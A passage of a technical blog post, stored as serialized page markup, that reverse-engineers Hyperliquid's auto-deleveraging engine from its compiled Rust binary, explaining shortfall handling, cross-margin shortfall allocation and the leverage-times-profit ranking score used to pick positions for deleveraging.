",{"type":23,"tag":71,"props":169946,"children":169948},{"className":169947},[],[169949],{"type":29,"value":169950},"strict_isolated",{"type":29,"value":169952}," in MessagePack dumps) are added to a separate queue, ",{"type":23,"tag":71,"props":169954,"children":169956},{"className":169955},[],[169957],{"type":29,"value":169958},"deferred_queue",{"type":29,"value":169960},", which triggers ADL regardless of the system's ",{"type":23,"tag":71,"props":169962,"children":169964},{"className":169963},[],[169965],{"type":29,"value":169966},"total_shortfall",{"type":29,"value":169968},". This is dictated by this branch.",{"type":23,"tag":169381,"props":169970,"children":169973},{"addr":169752,"line-start":169971,"line-end":169972},"211","243",[],{"type":23,"tag":32,"props":169975,"children":169976},{},[169977,169979,169986],{"type":29,"value":169978},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":23,"tag":940,"props":169980,"children":169983},{"href":169981,"rel":169982},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[944],[169984],{"type":29,"value":169985},"March 2025 incident",{"type":29,"value":169987},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":23,"tag":30116,"props":169989,"children":169991},{"id":169990},"how-do-we-get-rid-of-debt",[169992],{"type":29,"value":169993},"How Do We Get Rid of Debt?",{"type":23,"tag":32,"props":169995,"children":169996},{},[169997],{"type":29,"value":169998},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":23,"tag":32,"props":170000,"children":170001},{},[170002,170004,170009,170011,170016,170018,170023],{"type":29,"value":170003},"Thus, if the debt is insurmountable, the ",{"type":23,"tag":71,"props":170005,"children":170007},{"className":170006},[],[170008],{"type":29,"value":169958},{"type":29,"value":170010}," is overwritten by all the users marked by ",{"type":23,"tag":71,"props":170012,"children":170014},{"className":170013},[],[170015],{"type":29,"value":169854},{"type":29,"value":170017},", otherwise we keep it and only holders of underwater ",{"type":23,"tag":71,"props":170019,"children":170021},{"className":170020},[],[170022],{"type":29,"value":169950},{"type":29,"value":170024}," positions from the earlier loop are considered for ADL.",{"type":23,"tag":169350,"props":170026,"children":170027},{},[170028],{"type":23,"tag":32,"props":170029,"children":170030},{},[170031],{"type":29,"value":170032},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":23,"tag":169381,"props":170034,"children":170037},{"addr":169752,"line-start":170035,"line-end":170036},"523","526",[],{"type":23,"tag":32,"props":170039,"children":170040},{},[170041,170043,170049,170051,170057,170059,170064],{"type":29,"value":170042},"For each underwater position, we do a ",{"type":23,"tag":169925,"props":170044,"children":170046},{"addrs":170045},"0x555556ac42ad-0x555556ac42be",[170047],{"type":29,"value":170048},"B-tree lookup",{"type":29,"value":170050}," on ",{"type":23,"tag":71,"props":170052,"children":170054},{"className":170053},[],[170055],{"type":29,"value":170056},"clearinghouse.user_states[position.user]",{"type":29,"value":170058},", adding them to a ",{"type":23,"tag":71,"props":170060,"children":170062},{"className":170061},[],[170063],{"type":29,"value":28434},{"type":29,"value":170065}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":23,"tag":169381,"props":170067,"children":170070},{"addr":169752,"line-start":170068,"line-end":170069},"635","658",[],{"type":23,"tag":32,"props":170072,"children":170073},{},[170074],{"type":29,"value":170075},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":23,"tag":64,"props":170077,"children":170078},{},[170079],{"type":23,"tag":71,"props":170080,"children":170082},{"className":170081},[15256,169409],[170083],{"type":23,"tag":75,"props":170084,"children":170086},{"className":170085},[169414],[170087],{"type":23,"tag":75,"props":170088,"children":170090},{"className":170089},[15262],[170091],{"type":23,"tag":75,"props":170092,"children":170094},{"className":170093,"ariaHidden":15268},[15267],[170095],{"type":23,"tag":75,"props":170096,"children":170098},{"className":170097},[15273],[170099,170104],{"type":23,"tag":75,"props":170100,"children":170103},{"className":170101,"style":170102},[15278],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":23,"tag":75,"props":170105,"children":170107},{"className":170106},[15284],[170108],{"type":23,"tag":75,"props":170109,"children":170112},{"className":170110},[170111],"mtable",[170113,170193],{"type":23,"tag":75,"props":170114,"children":170117},{"className":170115},[170116],"col-align-r",[170118],{"type":23,"tag":75,"props":170119,"children":170121},{"className":170120},[15304,32857],[170122,170181],{"type":23,"tag":75,"props":170123,"children":170125},{"className":170124},[15309],[170126,170176],{"type":23,"tag":75,"props":170127,"children":170130},{"className":170128,"style":170129},[15314],"height:2.3452em;",[170131,170154],{"type":23,"tag":75,"props":170132,"children":170134},{"style":170133},"top:-4.3452em;",[170135,170140],{"type":23,"tag":75,"props":170136,"children":170139},{"className":170137,"style":170138},[15323],"height:3.3944em;",[],{"type":23,"tag":75,"props":170141,"children":170143},{"className":170142},[15284],[170144],{"type":23,"tag":75,"props":170145,"children":170147},{"className":170146},[15284,29],[170148],{"type":23,"tag":75,"props":170149,"children":170151},{"className":170150},[15284],[170152],{"type":29,"value":170153},"position_weight",{"type":23,"tag":75,"props":170155,"children":170157},{"style":170156},"top:-2.2092em;",[170158,170162],{"type":23,"tag":75,"props":170159,"children":170161},{"className":170160,"style":170138},[15323],[],{"type":23,"tag":75,"props":170163,"children":170165},{"className":170164},[15284],[170166],{"type":23,"tag":75,"props":170167,"children":170169},{"className":170168},[15284,29],[170170],{"type":23,"tag":75,"props":170171,"children":170173},{"className":170172},[15284],[170174],{"type":29,"value":170175},"position_adl_amount",{"type":23,"tag":75,"props":170177,"children":170179},{"className":170178},[32960],[170180],{"type":29,"value":32963},{"type":23,"tag":75,"props":170182,"children":170184},{"className":170183},[15309],[170185],{"type":23,"tag":75,"props":170186,"children":170189},{"className":170187,"style":170188},[15314],"height:1.8452em;",[170190],{"type":23,"tag":75,"props":170191,"children":170192},{},[],{"type":23,"tag":75,"props":170194,"children":170197},{"className":170195},[170196],"col-align-l",[170198],{"type":23,"tag":75,"props":170199,"children":170201},{"className":170200},[15304,32857],[170202,170403],{"type":23,"tag":75,"props":170203,"children":170205},{"className":170204},[15309],[170206,170398],{"type":23,"tag":75,"props":170207,"children":170209},{"className":170208,"style":170129},[15314],[170210,170338],{"type":23,"tag":75,"props":170211,"children":170212},{"style":170133},[170213,170217],{"type":23,"tag":75,"props":170214,"children":170216},{"className":170215,"style":170138},[15323],[],{"type":23,"tag":75,"props":170218,"children":170220},{"className":170219},[15284],[170221,170225,170229,170234,170238],{"type":23,"tag":75,"props":170222,"children":170224},{"className":170223},[15284],[],{"type":23,"tag":75,"props":170226,"children":170228},{"className":170227,"style":15461},[15363],[],{"type":23,"tag":75,"props":170230,"children":170232},{"className":170231},[15466],[170233],{"type":29,"value":212},{"type":23,"tag":75,"props":170235,"children":170237},{"className":170236,"style":15461},[15363],[],{"type":23,"tag":75,"props":170239,"children":170241},{"className":170240},[15284],[170242,170246,170334],{"type":23,"tag":75,"props":170243,"children":170245},{"className":170244},[32932,123900],[],{"type":23,"tag":75,"props":170247,"children":170249},{"className":170248},[123905],[170250],{"type":23,"tag":75,"props":170251,"children":170253},{"className":170252},[15304,32857],[170254,170322],{"type":23,"tag":75,"props":170255,"children":170257},{"className":170256},[15309],[170258,170317],{"type":23,"tag":75,"props":170259,"children":170262},{"className":170260,"style":170261},[15314],"height:1.3944em;",[170263,170284,170295],{"type":23,"tag":75,"props":170264,"children":170265},{"style":169491},[170266,170270],{"type":23,"tag":75,"props":170267,"children":170269},{"className":170268,"style":122553},[15323],[],{"type":23,"tag":75,"props":170271,"children":170273},{"className":170272},[15284],[170274],{"type":23,"tag":75,"props":170275,"children":170277},{"className":170276},[15284,29],[170278],{"type":23,"tag":75,"props":170279,"children":170281},{"className":170280},[15284],[170282],{"type":29,"value":170283},"total_cross_notional",{"type":23,"tag":75,"props":170285,"children":170286},{"style":123955},[170287,170291],{"type":23,"tag":75,"props":170288,"children":170290},{"className":170289,"style":122553},[15323],[],{"type":23,"tag":75,"props":170292,"children":170294},{"className":170293,"style":123965},[123964],[],{"type":23,"tag":75,"props":170296,"children":170298},{"style":170297},"top:-3.7em;",[170299,170303],{"type":23,"tag":75,"props":170300,"children":170302},{"className":170301,"style":122553},[15323],[],{"type":23,"tag":75,"props":170304,"children":170306},{"className":170305},[15284],[170307],{"type":23,"tag":75,"props":170308,"children":170310},{"className":170309},[15284,29],[170311],{"type":23,"tag":75,"props":170312,"children":170314},{"className":170313},[15284],[170315],{"type":29,"value":170316},"position_notional",{"type":23,"tag":75,"props":170318,"children":170320},{"className":170319},[32960],[170321],{"type":29,"value":32963},{"type":23,"tag":75,"props":170323,"children":170325},{"className":170324},[15309],[170326],{"type":23,"tag":75,"props":170327,"children":170330},{"className":170328,"style":170329},[15314],"height:0.996em;",[170331],{"type":23,"tag":75,"props":170332,"children":170333},{},[],{"type":23,"tag":75,"props":170335,"children":170337},{"className":170336},[32954,123900],[],{"type":23,"tag":75,"props":170339,"children":170340},{"style":170156},[170341,170345],{"type":23,"tag":75,"props":170342,"children":170344},{"className":170343,"style":170138},[15323],[],{"type":23,"tag":75,"props":170346,"children":170348},{"className":170347},[15284],[170349,170353,170357,170362,170366,170376,170380,170385,170389],{"type":23,"tag":75,"props":170350,"children":170352},{"className":170351},[15284],[],{"type":23,"tag":75,"props":170354,"children":170356},{"className":170355,"style":15461},[15363],[],{"type":23,"tag":75,"props":170358,"children":170360},{"className":170359},[15466],[170361],{"type":29,"value":212},{"type":23,"tag":75,"props":170363,"children":170365},{"className":170364,"style":15461},[15363],[],{"type":23,"tag":75,"props":170367,"children":170369},{"className":170368},[15284,29],[170370],{"type":23,"tag":75,"props":170371,"children":170373},{"className":170372},[15284],[170374],{"type":29,"value":170375},"user_shortfall",{"type":23,"tag":75,"props":170377,"children":170379},{"className":170378,"style":15364},[15363],[],{"type":23,"tag":75,"props":170381,"children":170383},{"className":170382},[15369],[170384],{"type":29,"value":121644},{"type":23,"tag":75,"props":170386,"children":170388},{"className":170387,"style":15364},[15363],[],{"type":23,"tag":75,"props":170390,"children":170392},{"className":170391},[15284,29],[170393],{"type":23,"tag":75,"props":170394,"children":170396},{"className":170395},[15284],[170397],{"type":29,"value":170153},{"type":23,"tag":75,"props":170399,"children":170401},{"className":170400},[32960],[170402],{"type":29,"value":32963},{"type":23,"tag":75,"props":170404,"children":170406},{"className":170405},[15309],[170407],{"type":23,"tag":75,"props":170408,"children":170410},{"className":170409,"style":170188},[15314],[170411],{"type":23,"tag":75,"props":170412,"children":170413},{},[],{"type":23,"tag":32,"props":170415,"children":170416},{},[170417],{"type":29,"value":170418},"We do that here:",{"type":23,"tag":169381,"props":170420,"children":170423},{"addr":169752,"line-start":170421,"line-end":170422},"828","981",[],{"type":23,"tag":32,"props":170425,"children":170426},{},[170427,170428,170434,170436,170442],{"type":29,"value":2846},{"type":23,"tag":169925,"props":170429,"children":170431},{"lines":170430},"77-79",[170432],{"type":29,"value":170433},"inner loop",{"type":29,"value":170435}," above spans all ",{"type":23,"tag":71,"props":170437,"children":170439},{"className":170438},[],[170440],{"type":29,"value":170441},"(asset_idx, direction)",{"type":29,"value":170443}," held in the cross margin position.",{"type":23,"tag":32,"props":170445,"children":170446},{},[170447,170449,170455,170457,170463,170464,170470],{"type":29,"value":170448},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":23,"tag":71,"props":170450,"children":170452},{"className":170451},[],[170453],{"type":29,"value":170454},"adl_output",{"type":29,"value":170456}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":23,"tag":71,"props":170458,"children":170460},{"className":170459},[],[170461],{"type":29,"value":170462},"position_id",{"type":29,"value":2721},{"type":23,"tag":71,"props":170465,"children":170467},{"className":170466},[],[170468],{"type":29,"value":170469},"position_shortfall",{"type":29,"value":557},{"type":23,"tag":169381,"props":170472,"children":170475},{"addr":169752,"line-start":170473,"line-end":170474},"2377","2469",[],{"type":23,"tag":32,"props":170477,"children":170478},{},[170479,170481,170487],{"type":29,"value":170480},"Afterwards we can finally loop over the B-tree containing ",{"type":23,"tag":71,"props":170482,"children":170484},{"className":170483},[],[170485],{"type":29,"value":170486},"(position_id, cut)",{"type":29,"value":170488},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":23,"tag":32,"props":170490,"children":170491},{},[170492,170494,170499],{"type":29,"value":170493},"The final phase of ",{"type":23,"tag":71,"props":170495,"children":170497},{"className":170496},[],[170498],{"type":29,"value":169706},{"type":29,"value":170500}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":23,"tag":169381,"props":170502,"children":170505},{"addr":169752,"addr-start":170503,"addr-end":170504},"0x555556ac6d52","0x555556ac6de8",[],{"type":23,"tag":32,"props":170507,"children":170508},{},[170509],{"type":29,"value":170510},"How are positions chosen (sorted) to be deleveraged?",{"type":23,"tag":46567,"props":170512,"children":170514},{"id":170513},"who-do-we-deleverage",[170515],{"type":29,"value":170516},"Who Do We Deleverage?",{"type":23,"tag":32,"props":170518,"children":170519},{},[170520],{"type":29,"value":170521},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":23,"tag":32,"props":170523,"children":170524},{},[170525],{"type":29,"value":170526},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":23,"tag":32,"props":170528,"children":170529},{},[170530,170532,170539],{"type":29,"value":170531},"More formally, fairness can be given multiple related definitions; see ",{"type":23,"tag":940,"props":170533,"children":170536},{"href":170534,"rel":170535},"https://arxiv.org/abs/2512.01112",[944],[170537],{"type":29,"value":170538},"this paper",{"type":29,"value":170540},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":23,"tag":32,"props":170542,"children":170543},{},[170544],{"type":29,"value":170545},"So, is Hyperliquid fair? Is it always solvent?",{"type":23,"tag":24,"props":170547,"children":170549},{"id":170548},"adl-score-computation",[170550],{"type":29,"value":170551},"ADL Score Computation",{"type":23,"tag":32,"props":170553,"children":170554},{},[170555,170557,170563,170565,170571,170573,170578],{"type":29,"value":170556},"The score function at ",{"type":23,"tag":71,"props":170558,"children":170560},{"className":170559},[],[170561],{"type":29,"value":170562},"compute_adl_ranking_score",{"type":29,"value":170564}," is core to answering this question. It's defined, most likely as an ",{"type":23,"tag":71,"props":170566,"children":170568},{"className":170567},[],[170569],{"type":29,"value":170570},"Ord",{"type":29,"value":170572}," implementation on some 20-byte address representation. A ",{"type":23,"tag":71,"props":170574,"children":170576},{"className":170575},[],[170577],{"type":29,"value":28434},{"type":29,"value":170579}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":23,"tag":32,"props":170581,"children":170582},{},[170583,170585,170590,170592,170598,170600,170607,170609,170616],{"type":29,"value":170584},"Those sort routines are ",{"type":23,"tag":9690,"props":170586,"children":170587},{},[170588],{"type":29,"value":170589},"generated by the compiler",{"type":29,"value":170591},": since Rust binaries include a lot of metadata by default in ",{"type":23,"tag":71,"props":170593,"children":170595},{"className":170594},[],[170596],{"type":29,"value":170597},".comment",{"type":29,"value":170599},", we may even manually ",{"type":23,"tag":940,"props":170601,"children":170604},{"href":170602,"rel":170603},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[944],[170605],{"type":29,"value":170606},"take advantage",{"type":29,"value":170608}," of this to recover the ",{"type":23,"tag":940,"props":170610,"children":170613},{"href":170611,"rel":170612},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[944],[170614],{"type":29,"value":170615},"exact source of library functions",{"type":29,"value":557},{"type":23,"tag":32,"props":170618,"children":170619},{},[170620,170622,170627],{"type":29,"value":170621},"Let's see how this ties back into the ",{"type":23,"tag":71,"props":170623,"children":170625},{"className":170624},[],[170626],{"type":29,"value":169706},{"type":29,"value":1018},{"type":23,"tag":169381,"props":170629,"children":170631},{"source":169706,"target":170562,"direction":169707,"path":170630},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":23,"tag":32,"props":170633,"children":170634},{},[170635],{"type":29,"value":170636},"And here's the main call site used for sorting:",{"type":23,"tag":169381,"props":170638,"children":170641},{"addr":169752,"line-start":170639,"line-end":170640},"2806","2814",[],{"type":23,"tag":24,"props":170643,"children":170645},{"id":170644},"ratio-1-effective-leverage",[170646],{"type":29,"value":170647},"Ratio 1: Effective Leverage",{"type":23,"tag":64,"props":170649,"children":170650},{},[170651],{"type":23,"tag":71,"props":170652,"children":170654},{"className":170653},[15256,169409],[170655],{"type":23,"tag":75,"props":170656,"children":170658},{"className":170657},[169414],[170659],{"type":23,"tag":75,"props":170660,"children":170662},{"className":170661},[15262],[170663],{"type":23,"tag":75,"props":170664,"children":170666},{"className":170665,"ariaHidden":15268},[15267],[170667,170698],{"type":23,"tag":75,"props":170668,"children":170670},{"className":170669},[15273],[170671,170675,170685,170689,170694],{"type":23,"tag":75,"props":170672,"children":170674},{"className":170673,"style":125437},[15278],[],{"type":23,"tag":75,"props":170676,"children":170678},{"className":170677},[15284,29],[170679],{"type":23,"tag":75,"props":170680,"children":170682},{"className":170681},[15284],[170683],{"type":29,"value":170684},"effective leverage",{"type":23,"tag":75,"props":170686,"children":170688},{"className":170687,"style":15461},[15363],[],{"type":23,"tag":75,"props":170690,"children":170692},{"className":170691},[15466],[170693],{"type":29,"value":212},{"type":23,"tag":75,"props":170695,"children":170697},{"className":170696,"style":15461},[15363],[],{"type":23,"tag":75,"props":170699,"children":170701},{"className":170700},[15273],[170702,170707],{"type":23,"tag":75,"props":170703,"children":170706},{"className":170704,"style":170705},[15278],"height:2.113em;vertical-align:-0.686em;",[],{"type":23,"tag":75,"props":170708,"children":170710},{"className":170709},[15284],[170711,170715,170810],{"type":23,"tag":75,"props":170712,"children":170714},{"className":170713},[32932,123900],[],{"type":23,"tag":75,"props":170716,"children":170718},{"className":170717},[123905],[170719],{"type":23,"tag":75,"props":170720,"children":170722},{"className":170721},[15304,32857],[170723,170798],{"type":23,"tag":75,"props":170724,"children":170726},{"className":170725},[15309],[170727,170793],{"type":23,"tag":75,"props":170728,"children":170730},{"className":170729,"style":169487},[15314],[170731,170752,170763],{"type":23,"tag":75,"props":170732,"children":170733},{"style":169491},[170734,170738],{"type":23,"tag":75,"props":170735,"children":170737},{"className":170736,"style":122553},[15323],[],{"type":23,"tag":75,"props":170739,"children":170741},{"className":170740},[15284],[170742],{"type":23,"tag":75,"props":170743,"children":170745},{"className":170744},[15284,29],[170746],{"type":23,"tag":75,"props":170747,"children":170749},{"className":170748},[15284],[170750],{"type":29,"value":170751},"account value",{"type":23,"tag":75,"props":170753,"children":170754},{"style":123955},[170755,170759],{"type":23,"tag":75,"props":170756,"children":170758},{"className":170757,"style":122553},[15323],[],{"type":23,"tag":75,"props":170760,"children":170762},{"className":170761,"style":123965},[123964],[],{"type":23,"tag":75,"props":170764,"children":170765},{"style":169542},[170766,170770],{"type":23,"tag":75,"props":170767,"children":170769},{"className":170768,"style":122553},[15323],[],{"type":23,"tag":75,"props":170771,"children":170773},{"className":170772},[15284],[170774,170779,170788],{"type":23,"tag":75,"props":170775,"children":170777},{"className":170776},[15284],[170778],{"type":29,"value":169557},{"type":23,"tag":75,"props":170780,"children":170782},{"className":170781},[15284,29],[170783],{"type":23,"tag":75,"props":170784,"children":170786},{"className":170785},[15284],[170787],{"type":29,"value":169567},{"type":23,"tag":75,"props":170789,"children":170791},{"className":170790},[15284],[170792],{"type":29,"value":169557},{"type":23,"tag":75,"props":170794,"children":170796},{"className":170795},[32960],[170797],{"type":29,"value":32963},{"type":23,"tag":75,"props":170799,"children":170801},{"className":170800},[15309],[170802],{"type":23,"tag":75,"props":170803,"children":170806},{"className":170804,"style":170805},[15314],"height:0.686em;",[170807],{"type":23,"tag":75,"props":170808,"children":170809},{},[],{"type":23,"tag":75,"props":170811,"children":170813},{"className":170812},[32954,123900],[],{"type":23,"tag":32,"props":170815,"children":170816},{},[170817,170819,170825,170827,170833,170834,170840,170842,170848],{"type":29,"value":170818},"We can see in the decompilation below, through the SIMD noise, that ",{"type":23,"tag":71,"props":170820,"children":170822},{"className":170821},[],[170823],{"type":29,"value":170824},"abs_notional",{"type":29,"value":170826}," (unsigned), and ",{"type":23,"tag":71,"props":170828,"children":170830},{"className":170829},[],[170831],{"type":29,"value":170832},"float.d(rbx)",{"type":29,"value":16773},{"type":23,"tag":71,"props":170835,"children":170837},{"className":170836},[],[170838],{"type":29,"value":170839},"account_value",{"type":29,"value":170841}," (signed); the division is ",{"type":23,"tag":71,"props":170843,"children":170845},{"className":170844},[],[170846],{"type":29,"value":170847},"abs_notional / account_value",{"type":29,"value":557},{"type":23,"tag":32,"props":170850,"children":170851},{},[170852],{"type":29,"value":170853},"This tells us the risk multiplier that the user took on for this position.",{"type":23,"tag":169381,"props":170855,"children":170859},{"addr":170856,"line-start":170857,"line-end":170858},"0x555556abb140","278","296",[],{"type":23,"tag":24,"props":170861,"children":170863},{"id":170862},"ratio-2-profit-ratio",[170864],{"type":29,"value":170865},"Ratio 2: Profit Ratio",{"type":23,"tag":64,"props":170867,"children":170868},{},[170869],{"type":23,"tag":71,"props":170870,"children":170872},{"className":170871},[15256,169409],[170873],{"type":23,"tag":75,"props":170874,"children":170876},{"className":170875},[169414],[170877],{"type":23,"tag":75,"props":170878,"children":170880},{"className":170879},[15262],[170881],{"type":23,"tag":75,"props":170882,"children":170884},{"className":170883,"ariaHidden":15268},[15267],[170885,170916],{"type":23,"tag":75,"props":170886,"children":170888},{"className":170887},[15273],[170889,170893,170903,170907,170912],{"type":23,"tag":75,"props":170890,"children":170892},{"className":170891,"style":125437},[15278],[],{"type":23,"tag":75,"props":170894,"children":170896},{"className":170895},[15284,29],[170897],{"type":23,"tag":75,"props":170898,"children":170900},{"className":170899},[15284],[170901],{"type":29,"value":170902},"profit ratio",{"type":23,"tag":75,"props":170904,"children":170906},{"className":170905,"style":15461},[15363],[],{"type":23,"tag":75,"props":170908,"children":170910},{"className":170909},[15466],[170911],{"type":29,"value":212},{"type":23,"tag":75,"props":170913,"children":170915},{"className":170914,"style":15461},[15363],[],{"type":23,"tag":75,"props":170917,"children":170919},{"className":170918},[15273],[170920,170924],{"type":23,"tag":75,"props":170921,"children":170923},{"className":170922,"style":169462},[15278],[],{"type":23,"tag":75,"props":170925,"children":170927},{"className":170926},[15284],[170928,170932,171051],{"type":23,"tag":75,"props":170929,"children":170931},{"className":170930},[32932,123900],[],{"type":23,"tag":75,"props":170933,"children":170935},{"className":170934},[123905],[170936],{"type":23,"tag":75,"props":170937,"children":170939},{"className":170938},[15304,32857],[170940,171040],{"type":23,"tag":75,"props":170941,"children":170943},{"className":170942},[15309],[170944,171035],{"type":23,"tag":75,"props":170945,"children":170947},{"className":170946,"style":169487},[15314],[170948,170969,170980],{"type":23,"tag":75,"props":170949,"children":170950},{"style":169491},[170951,170955],{"type":23,"tag":75,"props":170952,"children":170954},{"className":170953,"style":122553},[15323],[],{"type":23,"tag":75,"props":170956,"children":170958},{"className":170957},[15284],[170959],{"type":23,"tag":75,"props":170960,"children":170962},{"className":170961},[15284,29],[170963],{"type":23,"tag":75,"props":170964,"children":170966},{"className":170965},[15284],[170967],{"type":29,"value":170968},"entry notional",{"type":23,"tag":75,"props":170970,"children":170971},{"style":123955},[170972,170976],{"type":23,"tag":75,"props":170973,"children":170975},{"className":170974,"style":122553},[15323],[],{"type":23,"tag":75,"props":170977,"children":170979},{"className":170978,"style":123965},[123964],[],{"type":23,"tag":75,"props":170981,"children":170982},{"style":169542},[170983,170987],{"type":23,"tag":75,"props":170984,"children":170986},{"className":170985,"style":122553},[15323],[],{"type":23,"tag":75,"props":170988,"children":170990},{"className":170989},[15284],[170991,170997,171002,171012,171017,171021,171025,171030],{"type":23,"tag":75,"props":170992,"children":170994},{"className":170993},[32839],[170995],{"type":29,"value":170996},"max",{"type":23,"tag":75,"props":170998,"children":171000},{"className":170999},[32932],[171001],{"type":29,"value":643},{"type":23,"tag":75,"props":171003,"children":171005},{"className":171004},[15284,29],[171006],{"type":23,"tag":75,"props":171007,"children":171009},{"className":171008},[15284],[171010],{"type":29,"value":171011},"pnl",{"type":23,"tag":75,"props":171013,"children":171015},{"className":171014},[15395],[171016],{"type":29,"value":15398},{"type":23,"tag":75,"props":171018,"children":171020},{"className":171019,"style":15402},[15363],[],{"type":23,"tag":75,"props":171022,"children":171024},{"className":171023,"style":15402},[15363],[],{"type":23,"tag":75,"props":171026,"children":171028},{"className":171027},[15284],[171029],{"type":29,"value":648},{"type":23,"tag":75,"props":171031,"children":171033},{"className":171032},[32954],[171034],{"type":29,"value":1347},{"type":23,"tag":75,"props":171036,"children":171038},{"className":171037},[32960],[171039],{"type":29,"value":32963},{"type":23,"tag":75,"props":171041,"children":171043},{"className":171042},[15309],[171044],{"type":23,"tag":75,"props":171045,"children":171047},{"className":171046,"style":169585},[15314],[171048],{"type":23,"tag":75,"props":171049,"children":171050},{},[],{"type":23,"tag":75,"props":171052,"children":171054},{"className":171053},[32954,123900],[],{"type":23,"tag":32,"props":171056,"children":171057},{},[171058,171060,171066],{"type":29,"value":171059},"It uses entry notional (",{"type":23,"tag":71,"props":171061,"children":171063},{"className":171062},[],[171064],{"type":29,"value":171065},"r14_2",{"type":29,"value":171067},") as the divisor. PNL is clamped to non-negative before division.",{"type":23,"tag":32,"props":171069,"children":171070},{},[171071],{"type":29,"value":171072},"This basically tells us how well the user's bet went.",{"type":23,"tag":169381,"props":171074,"children":171078},{"addr":171075,"addr-start":171076,"addr-end":171077},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":23,"tag":32,"props":171080,"children":171081},{},[171082,171084,171090,171092,171098],{"type":29,"value":171083},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":23,"tag":71,"props":171085,"children":171087},{"className":171086},[],[171088],{"type":29,"value":171089},"1e-8",{"type":29,"value":171091},", in order not to cancel each other out. The final ADL ranking score is ",{"type":23,"tag":71,"props":171093,"children":171095},{"className":171094},[],[171096],{"type":29,"value":171097},"effective_leverage * profit_ratio",{"type":29,"value":171099},", consistent with both ratio directions and the max clamp on PNL.",{"type":23,"tag":32,"props":171101,"children":171102},{},[171103],{"type":29,"value":171104},"So, in essence, we look for risky and profitable positions!",{"type":23,"tag":923,"props":171106,"children":171108},{"id":171107},"partial-and-total-adl",[171109],{"type":29,"value":171110},"Partial and Total ADL",{"type":23,"tag":32,"props":171112,"children":171113},{},[171114],{"type":29,"value":171115},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":23,"tag":32,"props":171117,"children":171118},{},[171119],{"type":29,"value":171120},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":23,"tag":32,"props":171122,"children":171123},{},[171124,171126,171131],{"type":29,"value":171125},"So essentially, in pseudocode, the whole latter part of ",{"type":23,"tag":71,"props":171127,"children":171129},{"className":171128},[],[171130],{"type":29,"value":169706},{"type":29,"value":171132}," boils down to:",{"type":23,"tag":169381,"props":171134,"children":171137},{"addr":169752,"line-start":171135,"line-end":171136},"3252","3632",[],{"type":23,"tag":32,"props":171139,"children":171140},{},[171141],{"type":29,"value":171142},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":23,"tag":46567,"props":171144,"children":171146},{"id":171145},"branches",[171147],{"type":29,"value":171148},"Branches",{"type":23,"tag":32,"props":171150,"children":171151},{},[171152],{"type":29,"value":171153},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":23,"tag":32,"props":171155,"children":171156},{},[171157],{"type":29,"value":171158},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":23,"tag":46567,"props":171160,"children":171162},{"id":171161},"financial-conclusions",[171163],{"type":29,"value":171164},"Financial Conclusions",{"type":23,"tag":24,"props":171166,"children":171168},{"id":171167},"fairness-revenue-solvency-trilemma",[171169],{"type":29,"value":171170},"Fairness, Revenue, Solvency Trilemma",{"type":23,"tag":32,"props":171172,"children":171173},{},[171174,171176,171182],{"type":29,"value":171175},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":23,"tag":940,"props":171177,"children":171179},{"href":170534,"rel":171178},[944],[171180],{"type":29,"value":171181},"the paper mentioned before",{"type":29,"value":171183},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":23,"tag":27910,"props":171185,"children":171186},{},[171187,171197,171207],{"type":23,"tag":2801,"props":171188,"children":171189},{},[171190,171195],{"type":23,"tag":9690,"props":171191,"children":171192},{},[171193],{"type":29,"value":171194},"Solvency",{"type":29,"value":171196},": can the platform pay every trader out?",{"type":23,"tag":2801,"props":171198,"children":171199},{},[171200,171205],{"type":23,"tag":9690,"props":171201,"children":171202},{},[171203],{"type":29,"value":171204},"Fairness",{"type":29,"value":171206},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":23,"tag":2801,"props":171208,"children":171209},{},[171210,171215],{"type":23,"tag":9690,"props":171211,"children":171212},{},[171213],{"type":29,"value":171214},"Revenue",{"type":29,"value":171216},": the fraction of total winner PNL that survives after deleveraging.",{"type":23,"tag":32,"props":171218,"children":171219},{},[171220],{"type":29,"value":171221},"Let's borrow these definitions from the 